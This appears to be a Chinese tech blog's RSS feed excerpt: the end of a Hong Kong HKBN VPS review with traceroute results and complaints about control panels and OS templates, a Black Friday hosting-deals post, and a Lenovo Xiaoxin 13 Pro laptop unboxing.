    + 6  129.250.5.178  155.93 ms  AS2914  NTT.COM BACKBONE ntt.com
    + 7  129.250.6.99  2.79 ms  AS2914  NTT.COM BACKBONE ntt.com
    + 8  129.250.2.50  53.83 ms  AS2914  Japan Tokyo ntt.com
    + 9  129.250.5.78  155.54 ms  AS2914  NTT.COM BACKBONE ntt.com
    +10  129.250.3.175  152.19 ms  AS2914  NTT.COM BACKBONE ntt.com
    +11  129.250.2.48  149.07 ms  AS2914  NTT.COM BACKBONE ntt.com
    +12  23.11.26.62  159.67 ms  AS2914  United States California San Jose akamai.com
    +
    +
    +Traceroute to United States, Fremont HE (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 72.52.104.74 (72.52.104.74), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.99 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.12  4.54 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.91.158  1.62 ms  AS135423  China Hong Kong hkix.net
    + 5  184.105.64.130  54.52 ms  AS6939  Japan Tokyo he.net
    + 6  184.105.213.117  127.01 ms  AS6939  United States Washington Seattle he.net
    + 7  184.105.223.217  155.97 ms  AS6939  HE.NET BACKBONE he.net
    + 8  184.105.213.158  151.01 ms  AS6939  United States California Fremont he.net
    + 9  72.52.104.74  145.57 ms  AS6939  United States California Fremont he.net
    +
    +
    +Traceroute to United States, Las Vegas Level3 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 205.216.62.38 (205.216.62.38), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.90 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  17.00 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  12.15 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  62.115.34.109  1.81 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  *
    + 7  63.146.27.249  147.75 ms  AS209  United States California San Jose centurylink.com
    + 8  208.168.142.98  181.06 ms  AS3561  United States Texas centurylink.com
    + 9  216.34.172.42  182.36 ms  AS3561  United States Texas Dallas centurylink.com
    +10  216.34.164.82  182.73 ms  AS3561  United States Texas Dallas centurylink.com
    +11  205.216.7.204  202.87 ms  AS3561  United States Texas Dallas centurylink.com
    +12  *
    +13  205.216.62.38  196.89 ms  AS3561  United States Texas Dallas centurylink.com
    +
    +
    +Traceroute to United States, Miami ZAYO (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 64.125.191.144 (64.125.191.144), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.03 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.14 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.33 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  213.248.90.161  1.71 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  213.155.134.194  148.72 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 7  64.125.12.193  176.57 ms  AS6461  United States California Los Angeles zayo.com
    + 8  64.125.28.230  231.05 ms  AS6461  ZAYO.COM BACKBONE zayo.com
    + 9  *
    +10  64.125.26.35  208.11 ms  AS6461  ZAYO.COM BACKBONE zayo.com
    +11  *
    +12  *
    +13  *
    +14  *
    +15  *
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to United States, Ashburn Cogentco (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 149.127.109.166 (149.127.109.166), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.91 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.12 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.21 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  154.18.4.81  1.02 ms  AS174  China Hong Kong cogentco.com
    + 6  154.54.0.18  2.39 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 7  154.54.87.121  135.14 ms  AS174  United States Oregon Portland cogentco.com
    + 8  154.54.31.77  139.04 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 9  154.54.0.233  165.91 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    +10  154.54.42.98  168.95 ms  AS174  United States Colorado Denver cogentco.com
    +11  154.54.5.90  180.86 ms  AS174  United States Missouri Kansas City cogentco.com
    +12  154.54.42.166  192.70 ms  AS174  United States Illinois Chicago cogentco.com
    +13  154.54.6.222  199.33 ms  AS174  United States Ohio Cleveland cogentco.com
    +14  154.54.82.250  211.47 ms  AS174  United States Virginia Arlington cogentco.com
    +15  154.54.46.190  212.70 ms  AS174  United States Virginia Herndon cogentco.com
    +16  38.140.164.58  212.55 ms  AS174  United States Virginia Herndon cogentco.com
    +17  149.127.109.2  212.56 ms  AS174  United States Virginia Ashburn cogentco.com
    +18  149.127.109.166  213.48 ms  AS174  United States Virginia Ashburn cogentco.com
    +
    +
    +Traceroute to German, Telekom (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 80.146.191.1 (80.146.191.1), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.11 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.91 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  8.29 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.19 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  62.115.34.109  4.75 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  62.115.116.9  155.58 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 7  62.115.114.202  170.70 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 8  62.115.121.9  170.26 ms  AS1299  Germany Hesse Frankfurt telia.com
    + 9  213.248.93.185  170.27 ms  AS1299  Germany Hesse Frankfurt telia.com
    +10  91.23.215.105  176.28 ms  AS3320  Germany North Rhine-Westphalia telekom.de
    +11  80.146.191.1  183.90 ms  AS3320  Germany North Rhine-Westphalia telekom.de
    +
    +
    +Traceroute to German, Frankfurt O2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 82.113.108.25 (82.113.108.25), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.94 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.20 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.73 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.169.57.125  0.85 ms  AS1273  China Hong Kong vodafone.com
    + 6  195.2.8.17  36.07 ms  AS1273  Europe Regions vodafone.com
    + 7  195.2.2.57  168.65 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 8  195.2.14.198  169.29 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 9  195.2.14.198  168.27 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    +10  5.53.4.28  184.99 ms  AS12956  Germany Hesse Frankfurt telefonica.com
    +11  176.52.252.29  186.93 ms  AS12956  Germany Hesse Frankfurt telefonica.com
    +12  62.53.8.188  185.83 ms  AS6805  Germany Hesse Frankfurt telefonica.de
    +13  62.53.14.103  185.73 ms  AS6805  Germany Hesse Frankfurt telefonica.de
    +14  62.53.0.143  186.00 ms  AS6805  Germany telefonica.de
    +15  62.53.28.151  185.15 ms  AS6805  Germany telefonica.de
    +16  62.53.2.63  185.52 ms  AS6805  Germany telefonica.de
    +17  62.53.2.55  184.97 ms  AS6805  Germany Hesse Frankfurt telefonica.de
    +18  82.113.108.25  185.65 ms  AS39706  Germany Hesse Frankfurt o2online.de
    +
    +
    +Traceroute to German, Frankfurt Vodafone (TCP Mode, Max 50 Hop)
    +============================================================
    +traceroute to 139.7.146.11 (139.7.146.11), 50 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.21 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  3.04 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  195.89.124.225  1.61 ms  AS1273  China Hong Kong vodafone.com
    + 6  195.2.16.149  191.44 ms  AS1273  Europe Regions vodafone.com
    + 7  195.2.2.57  183.60 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 8  195.2.10.85  177.93 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 9  195.2.10.122  185.96 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    +10  195.89.99.18  189.87 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    +11  *
    +12  145.253.5.57  196.81 ms  AS3209  Germany vodafone.de
    +13  92.79.230.2  196.35 ms  AS3209  Germany vodafone.de
    +14  139.7.148.84  196.37 ms  AS3209  Germany vodafone.de
    +15  *
    +16  *
    +17  *
    +18  *
    +19  139.7.146.11  196.38 ms  AS3209  Germany vodafone.de
    +
    +
    +Traceroute to German, Frankfurt China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 118.85.205.101 (118.85.205.101), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.92 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  5.99 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.36 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  7.92 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.22.125  5.88 ms  AS4134  China Guangdong Guangzhou ChinaTelecom
    + 7  118.85.205.101  198.01 ms  AS4134  Germany Hesse Frankfurt ChinaTelecom
    +
    +
    +Traceroute to German, Frankfurt China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 5.10.138.33 (5.10.138.33), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.09 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.90 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.26 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.39 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  213.248.90.161  1.35 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  62.115.116.9  155.40 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 7  62.115.135.50  155.18 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 8  62.115.114.196  165.58 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 9  62.115.114.228  172.52 ms  AS1299  TELIA.COM BACKBONE telia.com
    +10  62.115.134.139  175.11 ms  AS1299  United Kingdom London telia.com
    +11  80.239.193.226  178.34 ms  AS1299  TELIA.COM BACKBONE telia.com
    +12  59.43.180.113  199.67 ms  *  Europe Regions ChinaTelecom
    +13  5.10.138.33  199.40 ms  AS4809  Germany cteurope.net
    +
    +
    +Traceroute to German, Frankfurt GTT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 213.200.65.70 (213.200.65.70), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.93 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  6.34 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.49 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  103.232.19.93  1.91 ms  AS3257  China Hong Kong gtt.net
    + 6  213.200.115.161  164.93 ms  AS3257  Germany Hesse Frankfurt gtt.net
    + 7  213.200.65.70  165.26 ms  AS3257  GTT.NET BACKBONE gtt.net
    +
    +
    +Traceroute to German, FrankfurtCogentco (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 212.20.150.5 (212.20.150.5), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.16 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.38 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.47 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  154.18.4.81  1.29 ms  AS174  China Hong Kong cogentco.com
    + 6  154.54.0.18  2.13 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 7  154.54.1.117  171.50 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 8  130.117.49.153  182.06 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    + 9  154.54.58.233  191.53 ms  AS174  COGENTCO.COM BACKBONE cogentco.com
    +10  130.117.48.94  191.64 ms  AS174  Germany Hesse Frankfurt cogentco.com
    +11  212.20.150.5  191.51 ms  AS174  Germany cogentco.com
    +
    +
    +Traceroute to United Kingdom, Vodafone (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 194.62.232.211 (194.62.232.211), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.01 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  7.35 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.83 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.169.57.125  0.87 ms  AS1273  China Hong Kong vodafone.com
    + 6  195.2.8.17  185.29 ms  AS1273  Europe Regions vodafone.com
    + 7  195.2.2.57  185.03 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 8  195.2.30.213  179.38 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 9  195.2.30.213  180.78 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    +10  *
    +11  *
    +12  194.62.232.211  189.88 ms  AS25135  United Kingdom vodafone.com
    +
    +
    +Traceroute to United Kingdom, BT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 213.121.43.24 (213.121.43.24), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.12 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  0.97 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.76 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.69  1.47 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.169.57.125  0.78 ms  AS1273  China Hong Kong vodafone.com
    + 6  195.2.10.97  185.34 ms  AS1273  China Hong Kong vodafone.com
    + 7  195.2.2.57  169.08 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 8  195.2.2.57  168.17 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    + 9  195.2.2.94  184.15 ms  AS1273  VODAFONE.COM BACKBONE vodafone.com
    +10  166.49.195.102  216.79 ms  AS5400  BT.COM BACKBONE bt.com
    +11  166.49.195.100  214.16 ms  AS5400  BT.COM BACKBONE bt.com
    +12  166.49.209.195  191.76 ms  AS5400  United Kingdom London bt.com
    +13  109.159.249.10  191.55 ms  AS2856  United Kingdom bt.com
    +14  194.72.7.69  191.06 ms  AS2856  United Kingdom London bt.com
    +15  *
    +16  *
    +17  *
    +18  *
    +19  213.121.43.24  199.09 ms  AS2856  United Kingdom bt.com
    +
    +
    +Traceroute to United Kingdom, London TATA (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 80.231.60.38 (80.231.60.38), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.98 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.26 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  1.52 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  180.87.112.25  1.38 ms  AS6453  China Hong Kong tatacommunications.com
    + 6  116.0.67.34  55.35 ms  AS6453  Japan Chiba tatacommunications.com
    + 7  116.0.93.169  235.57 ms  AS6453  Singapore tatacommunications.com
    + 8  63.243.205.12  262.14 ms  AS6453  United States California San Jose tatacommunications.com
    + 9  63.243.128.30  257.23 ms  AS6453  United States New York New York City tatacommunications.com
    +10  63.243.128.135  256.90 ms  AS6453  United States New York New York City tatacommunications.com
    +11  80.231.130.130  222.47 ms  AS6453  United Kingdom London tatacommunications.com
    +12  80.231.60.38  216.14 ms  AS6453  United Kingdom London tatacommunications.com
    +
    +
    +Traceroute to Russia, China CT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 118.85.205.180 (118.85.205.180), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.78 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.14 ms  *  China Hong Kong hkbn.com.hk
    + 4  14.136.142.14  1.31 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  203.215.232.85  9.22 ms  AS4134  China Hong Kong ChinaTelecom
    + 6  202.97.39.105  41.65 ms  AS4134  China Beijing ChinaTelecom
    + 7  202.97.30.230  67.54 ms  AS4134  Russian Federation Primorsky Krai Vladivostok ChinaTelecom
    + 8  *
    + 9  *
    +10  *
    +11  *
    +12  *
    +13  *
    +14  *
    +15  *
    +16  *
    +17  *
    +18  *
    +19  *
    +20  *
    +21  *
    +22  *
    +23  *
    +24  *
    +25  *
    +26  *
    +27  *
    +28  *
    +29  *
    +30  *
    +
    +
    +Traceroute to Russia, China CT CN2 (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 185.75.173.17 (185.75.173.17), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  2.14 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  1.16 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.67  5.02 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  62.115.34.109  1.32 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 6  62.115.116.9  155.62 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 7  62.115.135.50  155.21 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 8  62.115.114.196  165.68 ms  AS1299  TELIA.COM BACKBONE telia.com
    + 9  62.115.114.228  193.08 ms  AS1299  TELIA.COM BACKBONE telia.com
    +10  62.115.134.139  172.66 ms  AS1299  United Kingdom London telia.com
    +11  80.239.193.226  178.35 ms  AS1299  TELIA.COM BACKBONE telia.com
    +12  59.43.182.2  175.31 ms  *  China ChinaTelecom
    +13  185.75.173.17  174.57 ms  AS4809  Russian Federation Moscow cteurope.net
    +
    +
    +Traceroute to Russia, Moscow RT (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 87.226.162.77 (87.226.162.77), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  0.93 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.3  6.60 ms  *  China Hong Kong hkbn.com.hk
    + 4  61.244.224.65  11.12 ms  AS9269  China Hong Kong hkbn.com.hk
    + 5  36.255.56.185  1.90 ms  AS4323,AS7713  China Hong Kong equinix.com
    + 6  213.59.211.241  202.69 ms  AS12389  Russian Federation Moscow rt.ru
    + 7  87.226.140.2  206.23 ms  AS12389  Russian Federation Moscow rt.ru
    + 8  *
    + 9  87.226.162.77  211.80 ms  AS12389  Russian Federation Moscow rt.ru
    +
    +
    +Traceroute to Russia, Moscow TTK (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 217.150.32.2 (217.150.32.2), 30 hops max, 60 byte packets
    + 1  59.148.21.1  0.13 ms  AS10103  China Hong Kong hkbn.com.hk
    + 2  14.136.247.234  1.88 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  0.72 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.90.210  197.36 ms  AS135423  China Hong Kong hkix.net
    + 5  *
    + 6  62.33.207.217  199.18 ms  AS20485  Russian Federation Moscow ttk.ru
    + 7  80.237.46.177  202.30 ms  AS20485  Russian Federation Moscow ttk.ru
    + 8  217.150.32.243  202.17 ms  AS20485  Russian Federation Moscow ttk.ru
    + 9  *
    +10  217.150.32.2  205.16 ms  AS20485  Russian Federation Moscow ttk.ru
    +
    +
    +Traceroute to Russia, Moscow MTS (TCP Mode, Max 30 Hop)
    +============================================================
    +traceroute to 195.34.32.71 (195.34.32.71), 30 hops max, 60 byte packets
    + 1  *
    + 2  14.136.247.234  1.89 ms  AS10103  China Hong Kong hkbn.com.hk
    + 3  202.4.163.11  1.66 ms  *  China Hong Kong hkbn.com.hk
    + 4  123.255.90.58  67.73 ms  AS135423  China Hong Kong hkix.net
    + 5  212.188.2.58  179.60 ms  AS8359  Russian Federation mts.ru
    + 6  212.188.2.81  89.26 ms  AS8359  Russian Federation mts.ru
    + 7  212.188.1.201  115.93 ms  AS8359  Russian Federation mts.ru
    + 8  212.188.55.113  180.47 ms  AS8359  Russian Federation mts.ru
    + 9  212.188.42.177  123.36 ms  AS8359  Russian Federation Krasnoyarsk Krai Krasnoyarsk mts.ru
    +10  212.188.42.149  150.33 ms  AS8359  Russian Federation mts.ru
    +11  212.188.29.85  167.12 ms  AS8359  Russian Federation mts.ru
    +12  195.34.50.161  178.64 ms  AS8359  Russian Federation mts.ru
    +13  195.34.50.73  174.92 ms  AS8359  Russian Federation Moscow mts.ru
    +14  195.34.53.5  175.70 ms  AS8359  Russian Federation Moscow mts.ru
    +15  195.34.53.213  173.51 ms  AS8359  Russian Federation Moscow mts.ru
    +16  195.34.32.71  179.26 ms  AS8359  Russian Federation Moscow mts.ru
    +
    + Generated by LemonBench on 2019-12-05T09:49:47Z Version 20191205 Intl BetaVersion
    +
    +

    HKBN到国内的访问基本没什么问题,延迟不高。

    +

    五、Youtube、Netflix访问测试

    +

    使用艾斯艾斯原版,江苏电信100M网络,因为工作原因,只能在早上测试,早9点测试速度,不过受限于20M带宽,只能跑到这么多。

    +

    +

    Netflix目前测试也是可以访问的,但是商家并未做相关的保证。

    +

    六、总结和建议

    +

    说实话确实很贵,28USD啊,我一开始以为是HKD。但是商家和我说HKBN的托管是非常贵的,也不是家宽那种随便找个房子,硬件配置毕竟也不算低,都是专用服务器开的VPS,所以这个价格其实还是合理的。抛开价格的话机器的性能和带宽都还算不错,如果保持网络稳定的话,做站也是足够的,爬梯子不做讨论。

    +

    不过个人在测试中可谓是一波三折,商家对于控制面板等方面还没配置好,造成了不少的麻烦。

    +

    下面开始小作文:

    +

    控制面板一开始是被莫名其妙的强退,登录进去后,点击一个功能就退出,我更换了网络、浏览器依旧复现,后来商家修复正常了。

    +

    系统模板没有正常的。默认开机装的Debian9,但是疯狂断联,我想再重装为D9,但是无法开机,重装两次依旧无法开机,VNC进去看发现引导有问题,但是一开始开机是怎么成功开机的?非常迷。

    +

    装CentOS7,疯狂断联;装Ubuntu 16,开机失败;装CentOS6,疯狂断联x2,严重到无法登录。最后我只能通过网络重装官方系统,测试Debian9和CentOS7均无断联问题,且我同时连接多个国外的VPS,保持半小时,均无断开情况,所以我的网络是没问题的,真的这问题是系统模板的锅吧?麻烦商家换模板吧Orz。

    +

    因为前一阵子因为你懂得原因,Youtube测试基本无法完成,跑十几秒就断了,我也怕给商家弄坏IP,而且因为开机的时候,没有标记支付账单,几天后机器被暂停,我也无法进行我的测试了。

    +

    后来商家和我沟通重新开了一台机器,为了保险起见我还是安装CentOS7模板后,自己网络重装换了Debian的官方系统,所以系统模板的问题到底修复没有,我也不清楚。再后来就有了现在的测试报告。

    +

    还有一点购买体验的问题:第一次下单发给我了机器登录信息,但是财务面板里没有控制面板?整合的控制面板仅仅只能开关机重启和监控网络流量,无法重装系统,后来我从商家那里才要到SolusVM的控制面板信息。第二次下单这次连机器登录信息都木有了,WHMCS内置的邮件记录查询也没有查到,SolusVM面板信息还是老问题,没有。如果商家要做到自动配置开通的话,这个连邮件和控制面板登录信息都没有的情况啥时候能解决?不能重装系统,财务面板整合的控制面板基本没法用,实在体验很不好啊。

    +

    还有购买VPS时一般都会让你填写主机名、Root密码什么的,商家网站写的是设置VNC密码,非机器Root密码,商家后来回答我购买时设置的VNC密码也是控制面板的密码,但是你一开始都没给我这个控制面板啊。。。给我的Root密码也是随机生成的,所以我设置这个密码是干啥。。。我的建议是取消填写,或者设置为Root密码,顾客下单后,等待几分钟就可以用自己的密码登录机器。

    +

    最后我的总结:

    +

    机器性能、带宽情况都不错,延迟和路由也挺好,需要香港低延迟的服务器可以购买。但是系统模板问题很大,细节购买体验一般。

    +

    我个人喜欢实话实说,我对商家以后的发展还是期待的,相信很快也能解决这些问题。我这也是第一次受邀测试,因为我的博客不是做VPS推荐、测试的,只能从一个普通客户的方面考虑。商家好的地方肯定会说,需要改进的地方也不能不写,否则一个非常干燥的bench脚本测试还有什么意思呢。

    +]]>
    + + https://www.zrj96.com/post-1404.html/feed + 1 + + +
    + + 本周末黑五、网一活动,MJJ们准备好了吗? + https://www.zrj96.com/post-1398.html + https://www.zrj96.com/post-1398.html#respond + + + Mon, 25 Nov 2019 08:47:30 +0000 + + https://www.zrj96.com/?p=1398 + + + 又到一年黑五,过两天老外们应该就把优惠陆陆续续放出来了,自打金刚们倒闭了,生活无趣了很多,优惠少了很多。个人总体感觉黑五、网一是一年不如一年的,传家宝都少了很多,不,应该说没有永恒的传家宝,瓦工、Online,很多商家都在变着法的取消传家宝。

    +

    去年黑五我写了一篇文章:黑五/网一主机选购伪向导

    +

    我觉得去年的预测今年应该还差不多,部分心急的商家,和平常经常有优惠的商家,已经把黑五优惠放出来了。黑五其实主要是看VirMach耍猴,不过今年换了老板,砍了OVZ的产品线,优惠不知道能不能继续,或续有,但是大部分优惠都很一般,只有几个传家宝,需要你去抢购,抢购的时候网站能不能进去都是个问题。

    +

    但是即使知道黑五不给力了,还是得多蹲多观察,万一有个商家放出来传家宝呢。对于大厂还有一些稳定的主机商,例如Ramnode、hostus这些不要指望太多,他们已经有了稳定的客户,完全不需要黑五来吸引眼球,而且他们的价格平常偏中上,并不会做超低价的产品。而平常那些喜欢发优惠的,例如Cloudcone、iON等,已经放出优惠,其实和平常并无差别,而且他们经常做促销,一堆低端客户挤在一块,机器质量、网络并不是很好,你上车你也糟心,难用。

    +

    对于独服的话,Online已经放出来了,日常耍猴,还不如前一阵子的永久优惠。OVH和HZ还没动静,比预想的要慢。如果出优惠,HZ大概率是免安装费,OVH的话一个是域名优惠,去年来看的话不如以前,很差劲。VPS优惠需要年付,独服的话一般打折,有的只有几个月,可以期待一下会不会再次放出72T的大存储独服。

    +

    域名的话,没啥两样,最热闹的就是NameCheap,不过按照往年的尿性,还是得抢。官方预热页面:https://www.namecheap.com/domain-web-hosting-ssl-deals/black-friday/

    +

    其实也没啥好写的了,每年可见的一年比一年差,至于有什么绝版大优惠,我也猜不出来,甚至买不着。如果想买好鸡,耐心等、网快手速快,最后就是理性购鸡,有的主机商改邮箱可并不是那么容易的,以免翻车,VirMach最近就加大了改邮箱的难度。有的主机商给的优惠并不适合中国大陆用,欧洲主机商经常有便宜的,但是太远,不做外贸没用啊,再便宜买来干啥,网络烂的。

    +

    如果你想做黄牛,现在就去多整几个空邮箱,有新的PP帐号这些更好了,大佬也可以准备一些虚拟卡。

    +

    最后打个广告,关注本站TG频道,获取黑五网一的靠谱信息:https://t.me/zrj96

    +]]>
    + + https://www.zrj96.com/post-1398.html/feed + 0 + + +
    + + AMD Yes!联想小新13Pro开箱 + https://www.zrj96.com/post-1387.html + https://www.zrj96.com/post-1387.html#comments + + + Tue, 05 Nov 2019 09:57:47 +0000 + + + + + + + https://www.zrj96.com/?p=1387 + + +

    +

    因为笔记本已经用了4年了,又厚又重,显卡也非常垃圾,1366×768的45%瞎眼屏也看不下去了,吃灰了几个月拿出来键盘好几个按键还坏了,所以打算换个笔记本。

    +

    我的需求是:轻薄、屏幕素质较好,游戏能打个LOL就行。所以在各种轻薄本,例如小新系列、华为、荣耀、惠普等选了一圈,看到了最近一个月性价比最高的联想小新13Pro。13Pro有十代英特尔U版本,价格较高,10月中旬后推出了AMD版本,顿时真香了起来。要说联想打起来价格战,华为、荣耀都得往后稍稍。

    +

    小新13Pro第一批没赶上,中间官方几次偶尔放货也是瞬间被秒,终于在23号的凌晨,无聊刷京东,居然有货了!立马交了200元定金,11月1号交尾款4299元,2号收到。期间还使用了50元优惠券+白条30元优惠券。今天网站备案完成,终于可以把开箱发上来了。

    +

    基本配置

    +
    CPU:AMD R5-3550H 标压
    +
    +内存:16GB DDR4
    +
    +硬盘:三星PM981a 512GB NVMe(后期的已改成混搭型号,我的这台好在是三星的)
    +
    +显卡:Vega8集成显卡,占用1GB内存
    +
    +屏幕:13.3英寸 16:10 2560x1600 QHD 100%sRGB
    +
    +电池:56Wh
    +
    +接口:2xType-C全功能接口,支持PD充电;1xUSB3.1 Gen1;1x音频接口。
    +
    +整机重量:1.28kg,充电器重335g。
    +

    外包装

    +

    京东还是非常快的,写的预计3号到,1号下午就送过来了,晚上下班迫不及待的拿到。

    +

    正题包装不算大,白色的包装盒比较简约

    +

    +

    +

    内部配件

    +

    一般人也不会看的说明书保修卡,还有就是电源适配器。笔记本一般带个适配器大砖头确实不爽,增加了不少重量,官方说明是为了安全所以配的三线插头的大砖头,毕竟金属外壳的笔记本勇两线插头外壳漏电的肯定的,用过Macbook之类的都体验过那种酥麻感。充电头也可以自己买,联想自己的Thinkplus口红电源就不错,我自己因为有手机,所以选了紫米的2A1C充电头,可惜的是C口最大只能45W,而口红电源和官方标配的三插头最高65W。至于氮化镓充电头,太贵我就不买了。。。

    +

    Type-C线和C口还是非常方便的,随便插,以后可以Type-C走天下了。

    +

    +

    笔记本本体

    +

    A面,只有一个简单的联想Logo放在角落。第二张对比一本普通的杂志大小。

    +

    +

    +

    B面,全面屏,屏占比很高,屏幕素质也不错,比以前45%的屏幕强太多了。

    +

    +

